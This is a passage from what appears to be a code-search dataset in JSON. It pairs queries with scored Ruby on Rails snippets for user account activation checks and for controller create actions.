it\"\n redirect_to :back and return\n end\n if @user.active\n @user.deactivate!\n flash[:notice] = \"User Account Deactivated!\"\n else\n @user.activate!\n @user.deliver_welcome!\n flash[:notice] = \"User Account Now Active. Welcome Email Delivered!\" \n SystemSetting[:new_users_allowed] -= 1 if SystemSetting[:new_users_allowed]\n end\n redirect_to :back\n end", "title": "" }, { "docid": "f9de0c1585c5eb20469dde5f8608f368", "score": "0.6969149", "text": "def active_user?\n !@user.nil?\n end", "title": "" }, { "docid": "6c4292609c79e3ed4497c0eba6f7684f", "score": "0.69434416", "text": "def check_user_qualifications\n redirect_to edit_user_activation_url(@user.perishable_token) and return if @user.account\n end", "title": "" }, { "docid": "f2f7938018de9ee4168415cfc2f196fe", "score": "0.69330156", "text": "def account_active?\n self.state==='deactivated'|| !self.confirmed? ? false : true\n end", "title": "" }, { "docid": "82877c1d8fdc63b97669ef2536cc1e60", "score": "0.69282603", "text": "def active()\n if session[:user_id]\n @active = User.find(session[:user_id])\n else session = nil \n end\n end", "title": "" }, { "docid": "f8f5a596681575d064cb9dbc790cf5b9", "score": "0.6925241", "text": "def active_for_authentication?\n self.account.active && self.active\n end", "title": "" }, { "docid": "782397b3b81336f16d2ff53eca6842fb", "score": "0.69139165", "text": "def activate\n self.access = true\n reset_perishable_token!\n Regnotification.user_activated(self) if save\n end", "title": "" }, { "docid": "36be5652f9177cda47de26763d7510e3", "score": "0.6902819", "text": "def create\n super do |resource|\n unless resource.active?\n sign_out\n flash[:alert] = 'User is in in active. Please contact admin'\n redirect_to new_user_session_path\n return\n end\n end\n end", "title": "" }, { "docid": "ad199a8e674bd89827a4cdae60557690", "score": "0.6897679", "text": "def active?\n # active\n if self.active != User::ACTIVE.to_i\n \treturn false\n else \n true\n end\n end", "title": "" }, { "docid": "d15915e312a9f7ab2065d8e7a0c3521d", "score": "0.6895024", "text": "def user_status_active?\n return self.status==\"Active\" ? true : false\n end", "title": "" }, { "docid": "d5fa03875155bab3cd2753c2071e4d24", "score": "0.6889682", "text": "def active?\n # active\n if self.active != User::ACTIVE.to_i\n \treturn false\n else\n true\n end\n end", "title": "" }, { "docid": "e1db52f041f1b0bd09ceb4b5d0382f81", "score": "0.6853186", "text": "def activate(user)\n unless user && user.active?\n render json: { Error: \"You must login first\" }, status: 401\n end\n end", "title": "" }, { "docid": "8d961803d1c15122602aa4dacbc23fe1", "score": "0.68169796", "text": "def activate_account\n\t\t@user = User.find_using_perishable_token(params[:activation_code], 1.week)\n\t\tif @user\n\t\t\tif @user.active?\n\t\t \tflash[:notice] = 'Your account is already active'\n\t\t \tredirect_to login_path\n\n\t\t\telsif @user.activate!\n\t\t\tflash[:notice] = \"Your account activated and you can login now\"\n\t\t\t\t@user.deliver_activation_confirmation!\n\t\t\t\tredirect_to login_path\n\t\t\tend\n\t\telse\n\t\t\tflash[:notice] = 'User not found'\n\t\t\tredirect_to root_url\n\t\tend\n\tend", "title": "" }, { "docid": "44e3727ba2f4b57fb44e99a5e601f3c0", "score": "0.68129694", "text": "def activate\n active = @user.active\n @user.update_attribute(:active, !active)\n\n redirect_to user_url(:id => params[:id])\n end", "title": "" }, { "docid": "e06bcff89515a2c371be7eeb63d55097", "score": "0.680999", "text": "def check_user_qualifications\n redirect_to edit_account_activation_url(@user.perishable_token) and return unless @user.account\n end", "title": "" }, { "docid": "10a927a44940d504c6f17ce1dfa86ed8", "score": "0.679565", "text": "def active_for_authentication?\n super && account_active?\n end", "title": "" }, { "docid": "7c4af83de2d6e21e6fadb72045c34ff2", "score": "0.67839503", "text": "def user_activated?(current_user)\n current_user.activated\n end", "title": "" }, { "docid": "eb023d720b2a0070457b007a16897900", "score": "0.67802393", "text": "def check_user_status\n if user_signed_in? && current_user.disabled?\n redirect_to signout_path\n end\n end", "title": "" }, { "docid": "66edfe2144b4ed10f903fd8cbf7e2a45", "score": "0.67762995", "text": "def active_for_authentication?\n super && account_active?\n end", "title": "" }, { "docid": "def7469836c9b3bb398df868dfb9fde6", "score": "0.6774836", "text": "def activated?\n @user = User.find(id)\n @user.activated\n end", "title": "" }, { "docid": "ec79cdba407f0d894a0fb82f1e6e63be", "score": "0.6760133", "text": "def active_for_authentication?\n self && !inactive?\n end", "title": "" }, { "docid": "f4426f3902561ad5ed5dd994ce34601e", "score": "0.6753811", "text": "def user_activate\n users = User.where(id: params[:id], account_status: \"inactive\").exists?(conditions = :none)\n name = User.where(id: params[:id]).pluck(:email)\n name = name[0].split('@')[0]\n\n if users\n User.update(params[:id], account_status: \"active\")\n # Need to add full path of script\n # add_ovpn_user = `/bin/sh cmd_and_control.sh add #{name}`\n puts add_ovpn_user\n else\n User.update(params[:id], account_status: \"inactive\")\n # Need to add full path of script\n # remove_ovpn_user = `/bin/sh cmd_and_control.sh remove #{name}`\n puts remove_ovpn_user\n end\n\n redirect_to admins_show_path\n end", "title": "" }, { "docid": "028b6ab558bf54a0969030373045e56f", "score": "0.6743314", "text": "def account_active?\n !blocked\n end", "title": "" }, { "docid": "3cdc9e93b92548378875b98f93d1ccb3", "score": "0.67297685", "text": "def user_active\n @user_active ||= User.find_by(id: session[:user_id])\n end", "title": "" }, { "docid": "0305d65715e88a630781a5f96a33389c", "score": "0.67208827", "text": "def activate_on_create\n self.is_activated = if User.current_user && !User.current_user.is_admin?\n false\n else\n true\n end\n true\n end", "title": "" }, { "docid": "61b0719e55251066240bd30596185647", "score": "0.67200357", "text": "def account_active_check(login_account)\n unless login_account.account_active?\n flash[:warning] = flash_message(:type => \"account_inactive\")\n raise \"Account Active Check Failed\"\n end\n end", "title": "" }, { "docid": "3d88be02c3cd10cacb18546df1f2342b", "score": "0.671601", "text": "def active_for_authentication?\n super && !inactive\n end", "title": "" }, { "docid": "8fc7c20af1153cbd9291fcccc88765ed", "score": "0.6715154", "text": "def activate_user\n @user = User.find(params[:id])\n if @user.activate\n flash[:success] = 'activated'\n else\n flash[:danger] = 'Failed to activate user'\n end\n redirect_to unactivated_users_url\n end", "title": "" }, { "docid": "bc8a8c88e1587006745661f53eb2cad0", "score": "0.6711357", "text": "def activate\n @activated = true\n activated_at = Time.now\n activation_code = nil\n logger.info \"Activando el usuario\"\n save\n end", "title": "" }, { "docid": "ec91e2214024011bc6e8cd7fb1b6f138", "score": "0.6689204", "text": "def is_active?\n !!(self.account_status == 'active')\n end", "title": "" }, { "docid": "0f30a0b54d05465ea5009e818331ea4d", "score": "0.6684728", "text": "def confirm\n user = User.find(params[:id])\n authorize user\n if user.state != \"active\"\n user.confirm!\n user.make_user_a_member\n # assume this type of user just activated someone from somewhere else in the app\n flash[:notice] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n end", "title": "" }, { "docid": "51e4df2400f488ab1c3267369f95f2ea", "score": "0.6681613", "text": "def check_user_status\n if current_user.is_a?(User) && (current_user.suspended? || current_user.banned?)\n if current_user.suspended?\n flash[:error] = ts(\"Your account has been suspended. You may not add or edit content until your suspension has been resolved. Please contact us for more information.\")\n else\n flash[:error] = ts(\"Your account has been banned. You are not permitted to add or edit archive content. Please contact us for more information.\")\n end\n redirect_to current_user\n end\n end", "title": "" }, { "docid": "c982d2a57de139956db8b47d97287ee4", "score": "0.66749644", "text": "def activate!\r\n\n now = Time.now.utc\n @activated = true\r\n self.activated_at = now\r\n self.activation_code = nil\r\n self.active = true # needed because default when registering is false to prevent\n # the profile from coming up in search results, etc\n save(false)\r\n\n logon.previous = logon.last = now\n logon.save(false)\n\n end", "title": "" }, { "docid": "c3b1c71f60ab7f8f49ff181437eecfe4", "score": "0.66720307", "text": "def virtual_account_active\n !account_deactivated\n end", "title": "" }, { "docid": "cee143766b93b9cbbf8828ef4368fa8c", "score": "0.66701907", "text": "def activate\n activating_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if activating_user && !activating_user.active?\n activating_user.activate\n flash[:notice] = \"Subscription complete !\"\n\t\telse\n\t\t\tflash[:error] = \"Action failed !\"\n\t\tend\n redirect_to '/login'\n end", "title": "" }, { "docid": "59056035e70460e7859758e6394f2c96", "score": "0.6665885", "text": "def active_user\n User.find_by(activated: true)\n end", "title": "" }, { "docid": "71b4815350ad43bbdc0f6266ba0d6a96", "score": "0.6665565", "text": "def confirm\n user = User.find(params[:id])\n authorize user\n if user.state != \"active\"\n user.confirm!\n user.make_user_a_member\n\n # assume this type of user just activated someone from somewhere else in the app\n flash[:notice] = \"Activation of #{user.name_and_login} complete.\"\n redirect_to(session[:return_to] || root_path)\n end\n end", "title": "" }, { "docid": "1eb74f213e5ba9d23e9354937def3878", "score": "0.6664177", "text": "def status_ok?\n current_user.status if current_user\n end", "title": "" }, { "docid": "8c43c5e0ff7bdb5137bd844d0cadb9e2", "score": "0.66416144", "text": "def inactive!\n self.update_attribute(:status, ConfigCenter::User::INACTIVE)\n end", "title": "" }, { "docid": "bc5d537608d3f389342e77090febaf4d", "score": "0.6641526", "text": "def activate\n @user.activate!\n flash[:notice] = I18n.t('user.account.activated')\n session_activate\n redirect_to login_path( :service => cas_service_url( \"#{JWebApp}/?ga=emCyamsW&fl=1\" ), :jwa => 0, :ga => \"emCyamsW\" )\n end", "title": "" }, { "docid": "20b15f41cc8d1b40fd5ddca3788b9ff1", "score": "0.6640408", "text": "def toggle_activation?\n user.present? && user.admin? && (user != record)\n end", "title": "" }, { "docid": "7c293dd77e6728f9adc8d7a3f10a4ddf", "score": "0.6627333", "text": "def account_activation\n @user = User.find_by('email =?', params[:email])\n\n # activation\n if @user &&\n @user.activation_status.blank? &&\n !@user.activation_token.blank? &&\n BCrypt::Password.new(@user.activation_token)\n .is_password?(params[:token])\n\n @user.activation_status = 'Activated'\n @user.activated_at = DateTime.now\n @user.save(validate: false)\n flash[:message] = t(:successful_activation)\n redirect_to login_form_path\n\n # if already activated\n elsif @user && @user.activation_status == 'Activated'\n flash[:alert] = t(:account_already_activated)\n redirect_to login_form_path\n\n # if banned\n else\n flash[:alert] = t(:nope_activation)\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "fdcb5858d93ea2046b8cb0d882122d40", "score": "0.66243845", "text": "def activate\n session.destroy\n @user = User.find_using_perishable_token(params[:activation_code], 1.week)\n\n #raise Exception if @user.active?\n\n if @user.activate!\n UserSession.create(@user, true)\n @user.send_activation_confirmation!\n\n redirect_to dashboard_url\n else\n render :action => :new\n end\n end", "title": "" }, { "docid": "c5102843ec71b7ed54bb4464004b6d74", "score": "0.6621502", "text": "def activate\n self.current_user = params[:activation_code].blank? ? :false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate\n flash[:notice] = \"Subscription complete !\"\n end\n redirect_back_or_default(admin_root_url)\n end", "title": "" }, { "docid": "70688eabfc8c35fb5c8397bef69c0c5e", "score": "0.6620063", "text": "def activate\n @page_title = 'Membership Activation'\n self.current_user = params[:activation_code].blank? ? false : User.find_by_activation_code(params[:activation_code])\n if logged_in? && !current_user.active?\n current_user.activate!\n flash[:notice] = \"Signup complete\"\n else\n flash[:alert] = \"Signup Failure\"\n end\n redirect_to root_path\n end", "title": "" }, { "docid": "95fd466f7a8797bd94d7167df38d620b", "score": "0.66174877", "text": "def verify_current_user_role_active(options, current_user:, **)\n Rails.logger.info(\"Authentication of user #{current_user.username} failed because of inactive role\")\n return Railway.fail! if !current_user.user_role.active?\n\n Railway.pass!\n end", "title": "" }, { "docid": "43d6a0cfe129b3218896b73e0ed9d01f", "score": "0.6613201", "text": "def activate_invited\n # users who have logged in aren't asked to activate their account again\n # so we'll pretend \n if params[:user] and user = current_user\n user.sign_up\n user.attributes = params[:user]\n\n if user.remember_me\n current_user_session.remember_me = true \n user_session = current_user_session\n user_session.send :save_cookie\n end\n user.save and flash[:notice] = \"Welcome aboard, #{user}.\"\n Notifications.deliver_welcome user\n end\n if order_id = params[:order_id]\n redirect_to order_path(order_id)\n else\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "71eff8468bd4045c461116cae3a726da", "score": "0.6608701", "text": "def valid_user\n unless (\n @user &&\n # @user.activated? &&\n @user.authenticated?(:reset, params[:id])\n )\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "5c9b03c3262d2162975b681fb38c871c", "score": "0.6602543", "text": "def check_for_suspended_account\n redirect_to root_path if @account.account_suspended == true\n end", "title": "" }, { "docid": "595f5af7bd1c771a2041d03fdcec245d", "score": "0.6601622", "text": "def valid_user\n unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "b863c1682169636b76da0f23feb180f4", "score": "0.6599825", "text": "def activate\n begin\n @user = User.find_using_perishable_token(params[:activation_code], 1.week)\n rescue ActiveRecord::RecordNotFound\n flash[:error] = \"Your ticket has expired. Go <a href=\\\"#{activate_user_url}\\\">here</a> get a new one.\"\n redirect_to root_url\n return\n end\n\n if @user.nil?\n flash[:error] = \"Your ticket has expired. Go <a href=\\\"#{activate_user_url}\\\">here</a> get a new one.\"\n redirect_to root_url\n return\n end\n\n if @user.active?\n flash[:error] = \"Your account is already activated.\"\n redirect_to root_url\n return\n end\n\n if @user.activate!\n @user.deliver_activation_confirmation!\n flash[:notice] = \"Your account has been activated.\"\n else\n flash[:error] = \"Your account could not be activated.\"\n end\n redirect_to root_url\n end", "title": "" }, { "docid": "7171fc85a70f37357cb82c08121e14b6", "score": "0.658973", "text": "def activate_on_login\n\t\tif self.last_sign_in_at_changed? then\n\t\t\tself.active = true\n\t\tend\n\tend", "title": "" }, { "docid": "3037ed068f984d872dfa803f5d5ebcb3", "score": "0.6586599", "text": "def check_initializer\n return unless current_user\n #get required account\n required_user_accounts = ApplicationHelper::USER_ACCOUTNS.dup.reject{|ua| \n [\n ['MailGun邮箱账户', 'mailgun_name'],\n ['MailGun邮箱密码', 'mailgun_password'],\n ['Google邮箱账户', 'gmail_name'],\n ['Google邮箱密码', 'gmail_password']\n ].include?(ua)}\n \n # if params[:controller] != 'user_accounts' &&\n # current_user.sites.any? &&\n # current_user.user_accounts.size < required_user_accounts.size\n \n # redirect_to user_accounts_url, :alert => \"请在做其他操作前,在这里将账户信息完善了。账户信息绑定到每个应用的功能。\" and return\n # end\n end", "title": "" }, { "docid": "6744af54ce99e1105d67c416ef1f0fef", "score": "0.6586072", "text": "def status\n @session_status = 'active'\n @user = current_user\n end", "title": "" }, { "docid": "9d2d4e52fb0d481759be4be1bd8a12d2", "score": "0.6572844", "text": "def valid_user\n unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "d4c752e40f45069854bc693c5aad80c6", "score": "0.65724486", "text": "def activate\n @user = User.find params[:id]\n @user.active = true\n @user.save\n redirect_to admin_user_path(@user)\n end", "title": "" }, { "docid": "e795e3f8f728d0702c84d2ab551daecf", "score": "0.65688527", "text": "def active_for_authentication?\n super && !deactivated\n end", "title": "" }, { "docid": "2afb241ed3c7fed40b8c9a93765b8cbe", "score": "0.65680766", "text": "def check_signup_complete!\n if current_user && current_user.account && !current_user.account.free_plan?\n unless @user.account.signup_complete == true\n sign_out :user \n redirect_to \"/\"\n end\n end\n end", "title": "" }, { "docid": "892c45a1a5645a04db68c50672058fde", "score": "0.6560739", "text": "def on_active\n # set activation time\n self.activated_at = Time.now\n\n # send success email\n send_success\n\n return true\n end", "title": "" }, { "docid": "9f8814e330c9a81bbcf72ccef8f8acd1", "score": "0.6555939", "text": "def activate\n #domthu redirect_to(home_url) && return unless Setting.self_registration? && params[:token]\n redirect_to(editorial_url) && return unless Setting.self_registration? && params[:token]\n token = Token.find_by_action_and_value('register', params[:token])\n if token && token.user\n user = token.user\n #domthu redirect_to(home_url) && return unless user.registered?\n redirect_to(editorial_url) && return unless user.registered?\n user.activate\n if user.save\n token.destroy\n send_notice l(:notice_account_activated)\n #in caso di prova gratis inviare dati di accesso\n if (user.pwd && !user.pwd.blank?) || user.isregistered?\n Mailer.deliver_account_information(user, user.pwd)\n #Non è questo il messaggio. deve essere quello di prova che definisce la scadenza ed invita all'abbonamento\n #tmail = Mailer.deliver_fee(user, 'thanks', Setting.template_fee_thanks)\n end\n end\n else\n send_notice(\"La conferma è gia avvenuta. <br />Se non riccordi le tue credentiali usi la gestione recupero password.\")\n end\n #redirect_to :action => 'login'\n redirect_to editorial_url\n end", "title": "" }, { "docid": "5b9dd894f198565d40e0551e79fc3556", "score": "0.65535873", "text": "def is_active\n membership = MembershipService.new(current_domain, object)\n membership.active?\n end", "title": "" }, { "docid": "4eb4229546f4f77feee2df5415515161", "score": "0.6546814", "text": "def valid_user\n unless (@user && @user.activated? &&\n @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\nend", "title": "" }, { "docid": "585465d53baeee2f97397451b0297866", "score": "0.6538712", "text": "def activate\n @user = User.find_by_activation_code(params[:id])\n if @user and @user.activate\n self.current_user = @user\n flash[:message] = \"Your account has been activated\"\n redirect_to :controller => 'manage'\n end\n end", "title": "" }, { "docid": "038931ef2c196101f837d1e9c1022068", "score": "0.65385836", "text": "def require_user\n unless current_user && current_user.is_active?\n store_location\n render_unauthenticated\n return false\n end\n\n end", "title": "" }, { "docid": "a71010b8bcfcb53a28f2b09bd13aea16", "score": "0.6534481", "text": "def please_activate\n @user = User.find(params[:id])\n if @user.nil?\n redirect_to root_url, :notice => \"Access Denied.\"\n elsif @user.activated\n redirect_to root_url, :notice => \"Email already verified.\"\n else\n UserMailer.activation_email(@user).deliver\n end\n rescue ActiveRecord::RecordNotFound\n redirect_to root_url, :notice => \"User not found.\"\n end", "title": "" }, { "docid": "d18814624e8ff475bee5b79997d0feb9", "score": "0.6530931", "text": "def valid_user\n unless (@user && @user.activated? && @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "6e0272acc84271cbdf8acc6df6d335ff", "score": "0.65280306", "text": "def require_login\n bounce_user unless current_user\n end", "title": "" }, { "docid": "73cd847806c62e7852e85879be3398b7", "score": "0.6525047", "text": "def valid_user\n unless (@user &&\n @user.activated? &&\n @user.authenticated?(:reset, params[:id]))\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "ba52855855ea6161caa4008ef9962d4c", "score": "0.65233785", "text": "def activate_account\n company = Company.find(params[:company_id])\n user = company.users.find(params[:id])\n user.state = STATE[:active]\n if user.save\n\n period = user.periods.build\n period.start_date = Date.today\n period.state = STATE[:active]\n period.save\n\n flash[:success] = t(:activated_successfully)\n redirect_to company_users_path company\n else\n flash[:error] = t(:error)\n redirect_to company_users_path company\n end\n end", "title": "" }, { "docid": "72062f51c1b8417ec8ba3fb2cb5f34bb", "score": "0.6522796", "text": "def is_active\n true\n end", "title": "" }, { "docid": "569e70a23401208bcd99c700e783a2bc", "score": "0.6522669", "text": "def inactive?\n (status == ConfigCenter::User::INACTIVE)\n end", "title": "" }, { "docid": "72fa10aad2ef5a770aab5519657b07d5", "score": "0.6521806", "text": "def toggle_activate_user\n user = User.find_by(dxuser: unsafe_params[:dxuser])\n\n if !current_user.can_administer_site? && !user_org_admin?(user)\n redirect_to root_path && return\n end\n\n if user == current_user\n redirect_back(fallback_location: user_path(user), alert: \"Cannot disable self.\") && return\n end\n\n state = unsafe_params[:state]\n\n case user.user_state\n when \"enabled\"\n state = \"deactivated\"\n user.disable_message = unsafe_params[:message]\n user.email = Base64.encode64(user.email).sub(\"\\n\", \"\") + DNANEXUS_INVALID_EMAIL\n\n user.normalized_email = Base64.\n encode64(user.normalized_email).sub(\"\\n\", \"\") + DNANEXUS_INVALID_EMAIL\n\n when \"deactivated\"\n if state != \"\"\n state = \"enabled\"\n user.disable_message = nil\n user.email = Base64.decode64(user.email.sub(DNANEXUS_INVALID_EMAIL, \"\\n\"))\n\n user.normalized_email = Base64.decode64(\n user.normalized_email.sub(DNANEXUS_INVALID_EMAIL, \"\\n\"),\n )\n end\n end\n\n if state.present? && user.valid?\n user.user_state = state\n user.save!(validate: false)\n redirect_back(\n fallback_location: user_path(user),\n alert: \"User has been #{state == 'enabled' ? 're-activated' : 'de-activated'}\",\n )\n else\n errors = user.errors.map { |_k, v| v }.join(\",\\n\")\n\n redirect_back(\n fallback_location: user_path(user),\n error: \"There was an error locking the user: #{errors}\",\n )\n end\n end", "title": "" }, { "docid": "c9e96efef6ebb342d8160e35724ea2a0", "score": "0.65139055", "text": "def valid_user\n\t\t\tunless (@user && @user.activated? && \n\t\t\t\t\t\t\t@user.authenticated?(:reset, params[:id]))\n render json: {error: 'invalid or not activated user!'},\n status: 404\n\t\t\tend\t\n\t\tend", "title": "" }, { "docid": "5f66d52983236a3a62083c4fc8d935c2", "score": "0.6512033", "text": "def check_status\n if !current_user()\n flash.now[:notice] = 'You must log in to view that page'\n redirect_to \"/\"\n end\n end", "title": "" }, { "docid": "3697269d66aaab61ef672d4dd2adfe6c", "score": "0.6509923", "text": "def valid_user\n \t\tunless(@user && @user.activated? && @user.authenticated?(:reset, params[:id]))\n \t\t\tredirect_to overview_path\n \t\tend\n \tend", "title": "" }, { "docid": "272c24a68b5d69058a3b6656080ff372", "score": "0.6507052", "text": "def active_for_authentication?\n super && !invited_to_sign_up? && company_users.any? { |cu| cu.active? && cu.role.active? }\n end", "title": "" }, { "docid": "9108b23d4fd1911a1597443b47fb33ba", "score": "0.65053785", "text": "def active_user\n if session[:user_id]\n @active == @user || @active.role == \"admin\"\n else session = nil \n end \n end", "title": "" }, { "docid": "42790c1234b1281370a8ddb2f8c782c7", "score": "0.65034294", "text": "def activate\n @account.active = true\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was activated.'\n else\n render :show\n end\n end", "title": "" }, { "docid": "42790c1234b1281370a8ddb2f8c782c7", "score": "0.65034294", "text": "def activate\n @account.active = true\n\n if @account.save\n redirect_to accounts_path, notice: 'Account was activated.'\n else\n render :show\n end\n end", "title": "" }, { "docid": "015dfdbf9f3f82284e4c88a0cdb01bbc", "score": "0.64950436", "text": "def valid_user\n unless (@user && @user.activated? &&\n authenticated?(:reset, params[:id], @user))\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "5d0055e0ee99a4f1ca4d1ae77d9670e6", "score": "0.64928705", "text": "def active_for_authentication?\n super && !deactivated_at?\n end", "title": "" } ]
45a80cd09843037b859604fdb3d6a76d
POST /interiors POST /interiors.json
[ { "docid": "f250b65d5148abdd689b6eb17c7daeb7", "score": "0.57113785", "text": "def create\n @interior = Interior.new(params[:interior])\n\n respond_to do |format|\n if @interior.save\n format.html { redirect_to @interior, notice: 'Interior was successfully created.' }\n format.json { render json: @interior, status: :created, location: @interior }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interior.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "c1cfd20aec061bfef28813a08608f22f", "score": "0.6134329", "text": "def create\n itinerary = current_user.itineraries.create!(itinerary_params)\n itinerary_id = current_user.itineraries.last\n \n events = params[:events]\n events.each do |event|\n itinerary_id = current_user.itineraries.last[:id]\n EventsItinerary.create(itinerary_id: itinerary_id, event_id: event[\"id\"])\n end\n render json: itinerary, status: 201 # , location: [:api, itineraries]\n end", "title": "" }, { "docid": "1afa79fad3d2035a8c042ea172781cba", "score": "0.61106753", "text": "def create\n @interes = Interes.new(interes_params)\n\n respond_to do |format|\n if @interes.save\n format.html { redirect_to @interes, notice: 'Interes fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @interes }\n else\n format.html { render :new }\n format.json { render json: @interes.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "527a7278139628c360ea1bc1e8d30187", "score": "0.6045587", "text": "def create\n Rails.logger.info \"==========================\"\n Rails.logger.info request.raw_post\n Rails.logger.info \"==========================\"\n data = JSON.parse(request.raw_post).symbolize_keys\n ignore = [\"victims\", \"offenders\", \"attachments\"]\n incident_params = data[:incident]\n incident_params = incident_params.except(*ignore)\n @incident = Incident.new(incident_params)\n @incident.status = \"pending\"\n @incident.offender = \"N/A\"\n if @user\n @incident.user_id = @user.id\n end\n if @incident.save\n data[:incident][\"victims\"].each do |record|\n victim = Victim.new(record)\n victim.incident_id = @incident.id\n victim.save\n end\n data[:incident][\"offenders\"].each do |record|\n offender = Offender.new(record)\n offender.incident_id = @incident.id\n oc = Offendercategory.find_by_id(offender.offendercategory_id)\n if !oc\n Offendercategory.create(name: \"General\",id: offender.offendercategory_id)\n end\n offender.save\n end\n json_response(@incident)\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "95f61665d030862ebcc023dec76af6d6", "score": "0.5834561", "text": "def index\n @interiors = Interior.all\n end", "title": "" }, { "docid": "cb876061e05a0ac8239844c88105df7f", "score": "0.5770048", "text": "def create\n @interviewee = Interviewee.new(interviewee_params)\n\n respond_to do |format|\n if @interviewee.save\n format.html { redirect_to @interviewee, notice: 'Interviewee was successfully created.' }\n format.json { render :show, status: :created, location: @interviewee }\n else\n format.html { render :new }\n format.json { render json: @interviewee.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b1278844512c9b90b860d571f59d3113", "score": "0.5717181", "text": "def create\n @interaction = the_person.interactions.build(interaction_params.merge(user: the_user))\n\n respond_to do |format|\n if @interaction.save\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Interaction was successfully created.' }\n format.json { render user_person_path(the_user, the_person), status: :created, location: @interaction }\n else\n format.html { render new_user_person_interaction_path(the_user, the_person) }\n format.json { render json: @interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c167245016dc5008a8d3605265972ec", "score": "0.57109845", "text": "def createjson\n ignore = [\"id\", \"updated\", \"createdAt\",\"deleted\"]\n incident_params = params[:incident].except(*ignore)\n @incident = Incident.new(injured_parts: incident_params[:injuredParts], description: incident_params[:description], activity: incident_params[:activity], address: incident_params[:location], cause: incident_params[:cause], prevention: incident_params[:prevention])\n @incident.date_time = params[:dateTime]\n @incident.incidentcategory_id = params[:incidentCategory][:id]\n @incident.status = \"pending\"\n if @user\n @incident.user_id = @user.id\n end\n if @incident.save\n params[:witnesses].each do |record|\n victim = Witness.new(name: record[:name], remark: record[:remark], contact: record[:contact])\n victim.incident_id = @incident.id\n victim.save\n end\n\n params[:victims].each do |record|\n offender = Victim.new(name: record[:name], address: record[:address], remark: record[:remark], contact: record[:contact], role: record[:role], employee: record[:employee], supervisor: record[:supervisor], email: record[:email])\n offender.incident_id = @incident.id\n end\n new_incident_email(@incident)\n json_response(@incident)\n else\n render json: @incident.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "0015fbef93a81b436c6ed2fe994929f0", "score": "0.5661775", "text": "def create\n @interviewer = Interviewer.new(interviewer_params)\n\n respond_to do |format|\n if @interviewer.save\n format.html { redirect_to @interviewer, notice: \"Interviewer was successfully created.\" }\n format.json { render :show, status: :created, location: @interviewer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @interviewer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "062e046bf7e5836cee0af845c5c55aa9", "score": "0.564193", "text": "def create\n @interviewer = Interviewer.new(interviewer_params)\n\n respond_to do |format|\n if @interviewer.save\n format.html { redirect_to @interviewer, notice: 'Interviewer was successfully created.' }\n format.json { render :show, status: :created, location: @interviewer }\n else\n format.html { render :new }\n format.json { render json: @interviewer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6611dac62de04cfc481e98d76dfa2a5e", "score": "0.56311923", "text": "def create\n @interaction = Interaction.new(interaction_params)\n @num = 1\n while Interaction.where([\"interaction_id = ?\", @num]).size > 0\n @num = @num + 1\n end\n @interaction.interaction_id = @num\n @interaction.user_email = current_user.email\n respond_to do |format|\n if @interaction.save\n format.html { redirect_to @interaction, notice: 'Interaction was successfully created.' }\n format.json { render :show, status: :created, location: @interaction }\n else\n format.html { render :new }\n format.json { render json: @interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "daf0f088ac03fb56fdea580690c311db", "score": "0.5628911", "text": "def create\n\n if !params[\"user\"][\"interests\"].nil?\n\n UserInterest.create(user_id: current_user.id, interest_id: params[\"user\"][\"interests\"][\"id\"])\n\n end\n\n render json: {\n interests: current_user.interests\n }\n\n end", "title": "" }, { "docid": "0f45dffcb4fa2d435b743a66de243178", "score": "0.56256276", "text": "def create\n # @entrepreneur = Entrepreneur.new(entrepreneur_params)\n @entrepreneur = current_user.entrepreneurs.new(entrepreneur_params)\n if @entrepreneur.save\n render :json => {entrepreneur: @entrepreneur}, status: :created\n else\n render :json => { errors: @entrepreneur.errors}, status: :unprocessable_entity\n end\n\n end", "title": "" }, { "docid": "c682d2799ce9df40e21e0c631f908d38", "score": "0.5615202", "text": "def create\n @intervient = Intervient.new(intervient_params)\n\n respond_to do |format|\n if @intervient.save\n format.html { redirect_to @intervient, notice: 'Intervient was successfully created.' }\n format.json { render :show, status: :created, location: @intervient }\n else\n format.html { render :new }\n format.json { render json: @intervient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8c9538d2e583b0f2409c0d05523ce570", "score": "0.5592963", "text": "def create\n #@interaction = Interaction.new(interaction_params)\n @interaction = current_user.interactions.build(interaction_params)\n respond_to do |format|\n if @interaction.save\n format.html { redirect_to @interaction, notice: 'Interaction was successfully created.' }\n format.json { render :show, status: :created, location: @interaction }\n else\n format.html { render :new }\n format.json { render json: @interaction.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e916de4108aa7c0cc9ed9f41e114a665", "score": "0.5579953", "text": "def create\n @interrogatory = @case.build_interrogatory(interrogatory_params)\n @interrogatory.firm = @firm\n @interrogatory.user = @user\n\n respond_to do |format|\n if @interrogatory.save\n format.html { redirect_to [@case, @interrogatory], notice: 